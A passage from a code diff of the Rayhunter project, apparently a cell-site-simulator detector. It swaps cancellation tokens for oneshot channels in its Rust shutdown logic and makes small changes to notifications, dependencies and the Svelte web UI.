|
||||
_ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
info!("Headless mode, not spawning UI.");
|
||||
|
||||
@@ -4,7 +4,7 @@ use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
use async_trait::async_trait;
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
@@ -38,14 +38,14 @@ impl GenericFramebuffer for Framebuffer {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
shutdown_token,
|
||||
ui_shutdown_rx,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
/// DisplayState::WarningDetected { .. } => Signal LED slowly blinks red.
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use std::time::Duration;
|
||||
@@ -27,7 +27,7 @@ async fn stop_blinking(path: String) {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
||||
) {
|
||||
let mut invisible: bool = false;
|
||||
@@ -40,9 +40,13 @@ pub fn update_ui(
|
||||
let mut last_state = DisplayState::Paused;
|
||||
|
||||
loop {
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(oneshot::error::TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
}
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(new_state) => state = new_state,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
use log::info;
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
@@ -11,7 +11,7 @@ use std::fs;
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
let display_level = config.ui_level;
|
||||
@@ -23,9 +23,9 @@ pub fn update_ui(
|
||||
// The alternative would be to make the entire initialization async
|
||||
if fs::exists(tplink_onebit::OLED_PATH).unwrap_or_default() {
|
||||
info!("detected one-bit display");
|
||||
tplink_onebit::update_ui(task_tracker, config, shutdown_token, ui_update_rx)
|
||||
tplink_onebit::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx)
|
||||
} else {
|
||||
info!("fallback to framebuffer");
|
||||
tplink_framebuffer::update_ui(task_tracker, config, shutdown_token, ui_update_rx)
|
||||
tplink_framebuffer::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,13 +2,13 @@ use async_trait::async_trait;
|
||||
use std::os::fd::AsRawFd;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
|
||||
use crate::config;
|
||||
use crate::display::DisplayState;
|
||||
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
@@ -80,14 +80,14 @@ impl GenericFramebuffer for Framebuffer {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
shutdown_token,
|
||||
ui_shutdown_rx,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -6,7 +6,8 @@ use crate::display::DisplayState;
|
||||
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio::sync::oneshot::error::TryRecvError;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use std::time::Duration;
|
||||
@@ -111,7 +112,7 @@ const STATUS_WARNING: &[u8] = pixelart! {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
mut ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
let display_level = config.ui_level;
|
||||
@@ -123,9 +124,13 @@ pub fn update_ui(
|
||||
let mut pixels = STATUS_SMILING;
|
||||
|
||||
loop {
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
}
|
||||
|
||||
match ui_update_rx.try_recv() {
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
/// DisplayState::WarningDetected => Signal LED is solid red.
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use std::time::Duration;
|
||||
@@ -27,7 +27,7 @@ async fn led_off(path: String) {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
||||
) {
|
||||
let mut invisible: bool = false;
|
||||
@@ -41,9 +41,13 @@ pub fn update_ui(
|
||||
let mut last_update = std::time::Instant::now();
|
||||
|
||||
loop {
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(oneshot::error::TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
}
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(new_state) => state = new_state,
|
||||
|
||||
@@ -10,7 +10,7 @@ use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
use async_trait::async_trait;
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
@@ -43,14 +43,14 @@ impl GenericFramebuffer for Framebuffer {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
shutdown_token,
|
||||
ui_shutdown_rx,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ use std::time::{Duration, Instant};
|
||||
use tokio::fs::File;
|
||||
use tokio::io::AsyncReadExt;
|
||||
use tokio::sync::mpsc::Sender;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
@@ -21,7 +21,7 @@ pub fn run_key_input_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
diag_tx: Sender<DiagDeviceCtrlMessage>,
|
||||
cancellation_token: CancellationToken,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
) {
|
||||
if config.key_input_mode == 0 {
|
||||
return;
|
||||
@@ -43,7 +43,7 @@ pub fn run_key_input_thread(
|
||||
|
||||
loop {
|
||||
tokio::select! {
|
||||
_ = cancellation_token.cancelled() => {
|
||||
_ = &mut ui_shutdown_rx => {
|
||||
info!("received key input shutdown");
|
||||
return;
|
||||
}
|
||||
|
||||
+57
-37
@@ -13,8 +13,8 @@ mod stats;
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use crate::battery::run_battery_notification_worker;
|
||||
use crate::config::{parse_args, parse_config};
|
||||
use crate::diag::run_diag_read_thread;
|
||||
use crate::error::RayhunterError;
|
||||
@@ -43,10 +43,9 @@ use rayhunter::diag_device::DiagDevice;
|
||||
use stats::get_log;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio::select;
|
||||
use tokio::sync::RwLock;
|
||||
use tokio::sync::mpsc::{self, Sender};
|
||||
use tokio::sync::{RwLock, oneshot};
|
||||
use tokio::task::JoinHandle;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
type AppRouter = Router<Arc<ServerState>>;
|
||||
@@ -79,7 +78,7 @@ fn get_router() -> AppRouter {
|
||||
async fn run_server(
|
||||
task_tracker: &TaskTracker,
|
||||
state: Arc<ServerState>,
|
||||
shutdown_token: CancellationToken,
|
||||
server_shutdown_rx: oneshot::Receiver<()>,
|
||||
) -> JoinHandle<()> {
|
||||
info!("spinning up server");
|
||||
let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port));
|
||||
@@ -89,12 +88,17 @@ async fn run_server(
|
||||
task_tracker.spawn(async move {
|
||||
info!("The orca is hunting for stingrays...");
|
||||
axum::serve(listener, app)
|
||||
.with_graceful_shutdown(shutdown_token.cancelled_owned())
|
||||
.with_graceful_shutdown(server_shutdown_signal(server_shutdown_rx))
|
||||
.await
|
||||
.unwrap();
|
||||
})
|
||||
}
|
||||
|
||||
async fn server_shutdown_signal(server_shutdown_rx: oneshot::Receiver<()>) {
|
||||
server_shutdown_rx.await.unwrap();
|
||||
info!("Server received shutdown signal, exiting...");
|
||||
}
|
||||
|
||||
// Loads a RecordingStore if one exists, and if not, only create one if we're
|
||||
// not in debug mode. If we fail to parse the manifest AND we're not in debug
|
||||
// mode, try to recover the manifest from the existing QMDL files
|
||||
@@ -126,10 +130,15 @@ async fn init_qmdl_store(config: &config::Config) -> Result<RecordingStore, Rayh
|
||||
// Start a thread that'll track when user hits ctrl+c. When that happens,
|
||||
// trigger various cleanup tasks, including sending signals to other threads to
|
||||
// shutdown
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn run_shutdown_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
diag_device_sender: Sender<DiagDeviceCtrlMessage>,
|
||||
shutdown_token: CancellationToken,
|
||||
daemon_restart_rx: oneshot::Receiver<()>,
|
||||
should_restart_flag: Arc<AtomicBool>,
|
||||
server_shutdown_tx: oneshot::Sender<()>,
|
||||
maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>,
|
||||
maybe_key_input_shutdown_tx: Option<oneshot::Sender<()>>,
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
analysis_tx: Sender<AnalysisCtrlMessage>,
|
||||
) -> JoinHandle<Result<(), RayhunterError>> {
|
||||
@@ -141,9 +150,17 @@ fn run_shutdown_thread(
|
||||
if let Err(err) = res {
|
||||
error!("Unable to listen for shutdown signal: {err}");
|
||||
}
|
||||
|
||||
should_restart_flag.store(false, Ordering::Relaxed);
|
||||
}
|
||||
_ = shutdown_token.cancelled() => {}
|
||||
}
|
||||
res = daemon_restart_rx => {
|
||||
if let Err(err) = res {
|
||||
error!("Unable to listen for shutdown signal: {err}");
|
||||
}
|
||||
|
||||
should_restart_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
};
|
||||
|
||||
let mut qmdl_store = qmdl_store_lock.write().await;
|
||||
if qmdl_store.current_entry.is_some() {
|
||||
@@ -152,7 +169,15 @@ fn run_shutdown_thread(
|
||||
info!("Done!");
|
||||
}
|
||||
|
||||
shutdown_token.cancel();
|
||||
server_shutdown_tx
|
||||
.send(())
|
||||
.expect("couldn't send server shutdown signal");
|
||||
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
|
||||
let _ = ui_shutdown_tx.send(());
|
||||
}
|
||||
if let Some(key_input_shutdown_tx) = maybe_key_input_shutdown_tx {
|
||||
let _ = key_input_shutdown_tx.send(());
|
||||
}
|
||||
diag_device_sender
|
||||
.send(DiagDeviceCtrlMessage::Exit)
|
||||
.await
|
||||
@@ -169,12 +194,9 @@ fn run_shutdown_thread(
|
||||
async fn main() -> Result<(), RayhunterError> {
|
||||
env_logger::init();
|
||||
|
||||
#[cfg(feature = "rustcrypto-tls")]
|
||||
{
|
||||
rustls_rustcrypto::provider()
|
||||
.install_default()
|
||||
.expect("Couldn't install rustcrypto provider");
|
||||
}
|
||||
rustls_rustcrypto::provider()
|
||||
.install_default()
|
||||
.expect("Couldn't install rustcrypto provider");
|
||||
|
||||
let args = parse_args();
|
||||
|
||||
@@ -201,12 +223,14 @@ async fn run_with_config(
|
||||
let (diag_tx, diag_rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
|
||||
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
|
||||
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
|
||||
let restart_token = CancellationToken::new();
|
||||
let shutdown_token = restart_token.child_token();
|
||||
let mut maybe_ui_shutdown_tx = None;
|
||||
let mut maybe_key_input_shutdown_tx = None;
|
||||
|
||||
let notification_service = NotificationService::new(config.ntfy_url.clone());
|
||||
|
||||
if !config.debug_mode {
|
||||
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
|
||||
maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
|
||||
info!("Using configuration for device: {0:?}", config.device);
|
||||
let mut dev = DiagDevice::new(&config.device)
|
||||
.await
|
||||
@@ -237,17 +261,21 @@ async fn run_with_config(
|
||||
Device::Pinephone => display::headless::update_ui,
|
||||
Device::Uz801 => display::uz801::update_ui,
|
||||
};
|
||||
update_ui(&task_tracker, &config, shutdown_token.clone(), ui_update_rx);
|
||||
update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
|
||||
|
||||
info!("Starting Key Input service");
|
||||
let (key_input_shutdown_tx, key_input_shutdown_rx) = oneshot::channel();
|
||||
maybe_key_input_shutdown_tx = Some(key_input_shutdown_tx);
|
||||
key_input::run_key_input_thread(
|
||||
&task_tracker,
|
||||
&config,
|
||||
diag_tx.clone(),
|
||||
shutdown_token.clone(),
|
||||
key_input_shutdown_rx,
|
||||
);
|
||||
}
|
||||
|
||||
let (daemon_restart_tx, daemon_restart_rx) = oneshot::channel::<()>();
|
||||
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
|
||||
let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
|
||||
run_analysis_thread(
|
||||
&task_tracker,
|
||||
@@ -256,28 +284,20 @@ async fn run_with_config(
|
||||
analysis_status_lock.clone(),
|
||||
config.analyzers.clone(),
|
||||
);
|
||||
let should_restart_flag = Arc::new(AtomicBool::new(false));
|
||||
|
||||
run_shutdown_thread(
|
||||
&task_tracker,
|
||||
diag_tx.clone(),
|
||||
shutdown_token.clone(),
|
||||
daemon_restart_rx,
|
||||
should_restart_flag.clone(),
|
||||
server_shutdown_tx,
|
||||
maybe_ui_shutdown_tx,
|
||||
maybe_key_input_shutdown_tx,
|
||||
qmdl_store_lock.clone(),
|
||||
analysis_tx.clone(),
|
||||
);
|
||||
|
||||
run_battery_notification_worker(
|
||||
&task_tracker,
|
||||
config.device.clone(),
|
||||
notification_service.new_handler(),
|
||||
shutdown_token.clone(),
|
||||
);
|
||||
|
||||
run_notification_worker(
|
||||
&task_tracker,
|
||||
notification_service,
|
||||
config.enabled_notifications.clone(),
|
||||
);
|
||||
|
||||
run_notification_worker(&task_tracker, notification_service);
|
||||
let state = Arc::new(ServerState {
|
||||
config_path: args.config_path.clone(),
|
||||
config,
|
||||
@@ -285,16 +305,16 @@ async fn run_with_config(
|
||||
diag_device_ctrl_sender: diag_tx,
|
||||
analysis_status_lock,
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_token: restart_token.clone(),
|
||||
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
|
||||
ui_update_sender: Some(ui_update_tx),
|
||||
});
|
||||
run_server(&task_tracker, state, shutdown_token.clone()).await;
|
||||
run_server(&task_tracker, state, server_shutdown_rx).await;
|
||||
|
||||
task_tracker.close();
|
||||
task_tracker.wait().await;
|
||||
|
||||
info!("see you space cowboy...");
|
||||
Ok(restart_token.is_cancelled())
|
||||
Ok(should_restart_flag.load(Ordering::Relaxed))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -5,30 +5,19 @@ use std::{
|
||||
};
|
||||
|
||||
use log::error;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::mpsc::{self, error::TryRecvError};
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
#[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum NotificationType {
|
||||
Warning,
|
||||
LowBattery,
|
||||
}
|
||||
|
||||
pub struct Notification {
|
||||
notification_type: NotificationType,
|
||||
message_type: String,
|
||||
message: String,
|
||||
debounce: Option<Duration>,
|
||||
}
|
||||
|
||||
impl Notification {
|
||||
pub fn new(
|
||||
notification_type: NotificationType,
|
||||
message: String,
|
||||
debounce: Option<Duration>,
|
||||
) -> Self {
|
||||
pub fn new(message_type: String, message: String, debounce: Option<Duration>) -> Self {
|
||||
Notification {
|
||||
notification_type,
|
||||
message_type,
|
||||
message,
|
||||
debounce,
|
||||
}
|
||||
@@ -63,7 +52,6 @@ impl NotificationService {
|
||||
pub fn run_notification_worker(
|
||||
task_tracker: &TaskTracker,
|
||||
mut notification_service: NotificationService,
|
||||
enabled_notifications: Vec<NotificationType>,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
if let Some(url) = notification_service.url
|
||||
@@ -77,12 +65,8 @@ pub fn run_notification_worker(
|
||||
loop {
|
||||
match notification_service.rx.try_recv() {
|
||||
Ok(notification) => {
|
||||
if !enabled_notifications.contains(¬ification.notification_type) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let status = notification_statuses
|
||||
.entry(notification.notification_type)
|
||||
.entry(notification.message_type)
|
||||
.or_insert_with(|| NotificationStatus {
|
||||
message: "".to_string(),
|
||||
needs_sending: true,
|
||||
|
||||
+26
-9
@@ -13,11 +13,10 @@ use log::{error, warn};
|
||||
use std::sync::Arc;
|
||||
use tokio::fs::write;
|
||||
use tokio::io::{AsyncReadExt, copy, duplex};
|
||||
use tokio::sync::RwLock;
|
||||
use tokio::sync::mpsc::Sender;
|
||||
use tokio::sync::{RwLock, oneshot};
|
||||
use tokio_util::compat::FuturesAsyncWriteCompatExt;
|
||||
use tokio_util::io::ReaderStream;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
|
||||
use crate::DiagDeviceCtrlMessage;
|
||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
|
||||
@@ -33,7 +32,7 @@ pub struct ServerState {
|
||||
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
|
||||
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
|
||||
pub analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
pub daemon_restart_token: CancellationToken,
|
||||
pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
|
||||
pub ui_update_sender: Option<Sender<DisplayState>>,
|
||||
}
|
||||
|
||||
@@ -74,6 +73,11 @@ pub async fn serve_static(
|
||||
let path = path.trim_start_matches('/');
|
||||
|
||||
match path {
|
||||
"rayhunter_icon.png" => (
|
||||
[(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))],
|
||||
include_bytes!("../web/build/rayhunter_icon.png"),
|
||||
)
|
||||
.into_response(),
|
||||
"rayhunter_orca_only.png" => (
|
||||
[(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))],
|
||||
include_bytes!("../web/build/rayhunter_orca_only.png"),
|
||||
@@ -129,11 +133,24 @@ pub async fn set_config(
|
||||
})?;
|
||||
|
||||
// Trigger daemon restart after writing config
|
||||
state.daemon_restart_token.cancel();
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config and triggered restart".to_string(),
|
||||
))
|
||||
let mut restart_tx = state.daemon_restart_tx.write().await;
|
||||
if let Some(sender) = restart_tx.take() {
|
||||
sender.send(()).map_err(|_| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"couldn't send restart signal".to_string(),
|
||||
)
|
||||
})?;
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config and triggered restart".to_string(),
|
||||
))
|
||||
} else {
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config but restart already triggered".to_string(),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn get_zip(
|
||||
@@ -314,7 +331,7 @@ mod tests {
|
||||
diag_device_ctrl_sender: tx,
|
||||
analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_token: CancellationToken::new(),
|
||||
daemon_restart_tx: Arc::new(RwLock::new(None)),
|
||||
ui_update_sender: None,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -19,3 +19,6 @@ Thumbs.db
|
||||
# Vite
|
||||
vite.config.js.timestamp-*
|
||||
vite.config.ts.timestamp-*
|
||||
|
||||
package-lock.json
|
||||
yarn.lock
|
||||
|
||||
Generated
-5103
File diff suppressed because it is too large
Load Diff
@@ -18,9 +18,8 @@
|
||||
"@sveltejs/adapter-auto": "^3.0.0",
|
||||
"@sveltejs/adapter-static": "^3.0.5",
|
||||
"@sveltejs/kit": "^2.13.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^6.2.1",
|
||||
"@sveltejs/vite-plugin-svelte": "^4.0.0",
|
||||
"@types/eslint": "^9.6.0",
|
||||
"@types/node": "^24.7.0",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"eslint": "^9.7.0",
|
||||
"eslint-config-prettier": "^9.1.0",
|
||||
@@ -33,7 +32,7 @@
|
||||
"tailwindcss": "^3.4.9",
|
||||
"typescript": "^5.0.0",
|
||||
"typescript-eslint": "^8.0.0",
|
||||
"vite": "^7.1.11",
|
||||
"vitest": "^3.2.4"
|
||||
"vite": "^5.0.3",
|
||||
"vitest": "^2.0.4"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -33,7 +33,7 @@
|
||||
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
|
||||
<p>Nothing to show!</p>
|
||||
{:else}
|
||||
<div class="overflow-x-auto">
|
||||
<div class="overflow-x-scroll">
|
||||
<table class="table-auto text-left">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
@@ -77,10 +77,10 @@
|
||||
<div>
|
||||
<p class="text-lg underline">Unparsed Messages</p>
|
||||
<p>
|
||||
These are due to a limitation or bug in Rayhunter's parser, and aren't usually a
|
||||
These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a
|
||||
problem.
|
||||
</p>
|
||||
<div class="overflow-x-auto">
|
||||
<div class="overflow-x-scroll">
|
||||
<table class="table-auto text-left">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
|
||||
@@ -111,6 +111,18 @@
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
|
||||
ntfy URL for Sending Notifications
|
||||
</label>
|
||||
<input
|
||||
id="ntfy_url"
|
||||
type="url"
|
||||
bind:value={config.ntfy_url}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="space-y-3">
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
@@ -125,56 +137,6 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6 space-y-3">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
|
||||
<div>
|
||||
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
|
||||
ntfy URL for Sending Notifications (if unset you will not receive
|
||||
notifications)
|
||||
</label>
|
||||
<input
|
||||
id="ntfy_url"
|
||||
type="url"
|
||||
bind:value={config.ntfy_url}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="space-y-2">
|
||||
<div class="block text-sm font-medium text-gray-700 mb-1">
|
||||
Enabled Notification Types
|
||||
</div>
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
type="checkbox"
|
||||
id="enable_warning_notifications"
|
||||
value="Warning"
|
||||
bind:group={config.enabled_notifications}
|
||||
/>
|
||||
<label
|
||||
for="enable_warning_notifications"
|
||||
class="ml-2 block text-sm text-gray-700"
|
||||
>
|
||||
Warnings
|
||||
</label>
|
||||
</div>
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
type="checkbox"
|
||||
id="enable_lowbattery_notifications"
|
||||
value="LowBattery"
|
||||
bind:group={config.enabled_notifications}
|
||||
/>
|
||||
<label
|
||||
for="enable_lowbattery_notifications"
|
||||
class="ml-2 block text-sm text-gray-700"
|
||||
>
|
||||
Low Battery
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">
|
||||
Analyzer Heuristic Settings
|
||||
@@ -266,7 +228,7 @@
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
|
||||
Test Heuristic (noisy!)
|
||||
Test Heuristic (noisey!)
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -44,7 +44,7 @@
|
||||
</script>
|
||||
|
||||
<div
|
||||
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
|
||||
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-scroll overflow-y-hidden"
|
||||
>
|
||||
{#if current}
|
||||
<div class="flex flex-row justify-between gap-2">
|
||||
@@ -81,7 +81,7 @@
|
||||
'N/A'}</span
|
||||
>
|
||||
</div>
|
||||
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-auto">
|
||||
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-scroll">
|
||||
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button />
|
||||
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button />
|
||||
<DownloadLink url={entry.get_zip_url()} text="zip" full_button />
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
<script lang="ts">
|
||||
import { ManifestEntry } from '$lib/manifest.svelte';
|
||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import { screenIsLgUp } from '$lib/stores/breakpoint';
|
||||
import TableRow from './ManifestTableRow.svelte';
|
||||
import Card from './ManifestCard.svelte';
|
||||
interface Props {
|
||||
@@ -13,30 +12,27 @@
|
||||
</script>
|
||||
|
||||
<!--For larger screens we use a table-->
|
||||
{#if $screenIsLgUp}
|
||||
<table class="table-auto text-left table">
|
||||
<thead>
|
||||
<tr class="bg-gray-100 drop-shadow">
|
||||
<th class="p-2" scope="col">ID</th>
|
||||
<th class="p-2" scope="col">Started</th>
|
||||
<th class="p-2" scope="col">Last Message</th>
|
||||
<th class="p-2" scope="col">Size</th>
|
||||
<th class="p-2" scope="col">Download</th>
|
||||
<th class="p-2" scope="col">Analysis</th>
|
||||
<th class="p-2" scope="col"></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each entries as entry, i}
|
||||
<TableRow {entry} current={false} {i} {manager} />
